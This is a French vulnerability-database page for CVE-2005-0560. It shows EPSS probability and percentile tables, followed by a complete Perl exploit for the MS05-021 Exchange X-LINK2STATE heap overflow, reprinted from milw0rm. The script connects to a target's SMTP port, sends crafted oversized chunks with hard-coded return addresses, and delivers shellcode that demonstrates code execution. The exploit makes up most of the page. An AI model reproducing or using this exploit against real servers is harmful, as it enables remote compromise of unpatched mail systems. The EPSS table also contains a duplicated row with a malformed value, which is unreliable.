CVE-2005-0560 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2	EPSS V3
2022-02-06	–	–	60.62%	–
2023-03-12	–	–	–	40.22%
2023-08-06	–	–	–	71.85%
2024-03-24	–	–	–	87.16%
2024-06-02	–	–	–	87.16%
2024-10-20	–	–	–	87.34%
2024-12-22	–	–	–	87.48%
2024-12-22	–	–	–	87.48,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	97%
2023-08-06	98%
2024-03-24	99%
2024-06-02	99%
2024-10-20	99%
2024-12-22	99%
2024-12-22	99%

#!/bin/perl # # # MS05-021 Exchange X-LINK2STATE Heap Overflow # Author: Evgeny Pinchuk # For educational purposes only. # # Tested on: # Windows 2000 Server SP4 EN # Microsoft Exchange 2000 SP3 # # Thanks and greets: # Halvar Flake (thx for the right directions) # Alex Behar, Yuri Gushin, Ishay Sommer, Ziv Gadot and Dave Hawkins # # use IO::Socket::INET; my $host = shift(@ARGV); my $port = 25; my $reply; my $request; my $EAX="\x55\xB2\xD3\x77"; # CALL DWORD PTR [ESI+0x4C] (rpcrt4.dll) my $ECX="\xF0\xA1\x5C\x7C"; # lpTopLevelExceptionFilter my $JMP="\xEB\x10"; my $SC="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\xD5\x01" . "\x59\x7C\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x5F" . "\x0C\x59\x7C\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0D\x31\xd2\x52\x51" . "\x51\x52\xff\xd0\x31\xd2\x50\xb8\x72\x69\x59\x7C\xff\xd0\xe8\xc4\xff" . "\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff" . "\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff" . "\xff\x4D\x53\x30\x35\x2D\x30\x32\x31\x20\x54\x65\x73\x74\x4e"; my $cmd="X-LINK2STATE CHUNK="; my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port); $socket or die "Cannot connect to host!\n"; recv($socket, $reply, 1024, 0); print "Response:" . $reply; $request = "EHLO\r\n"; send $socket, $request, 0; print "[+] Sent EHLO\n"; recv($socket, $reply, 1024, 0); print "Response:" . $reply; $request = $cmd . "A"x1000 . "\r\n"; send $socket, $request, 0; print "[+] Sent 1st chunk\n"; recv($socket, $reply, 1024, 0); print "Response:" . $reply; $request = "A"x30 . $JMP . $EAX . $ECX . "B"x100 . $SC; my $left=1000-length($request); $request = $request . "C"x$left; $request = $cmd . $request . "\r\n"; send $socket, $request, 0; print "[+] Sent 2nd chunk\n"; recv($socket, $reply, 1024, 0); print "Response:" . $reply; close $socket; $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port); $socket or die "Cannot connect to host!\n"; recv($socket, $reply, 1024, 0); print "Response:" . $reply; $request = "EHLO\r\n"; send $socket, $request, 0; print "[+] Sent EHLO\n"; recv($socket, $reply, 1024, 0); print "Response:" . $reply; $request = $cmd . "A"x1000 . "\r\n"; send $socket, $request, 0; print "[+] Sent 3rd chunk\n"; close $socket; # milw0rm.com [2005-04-19]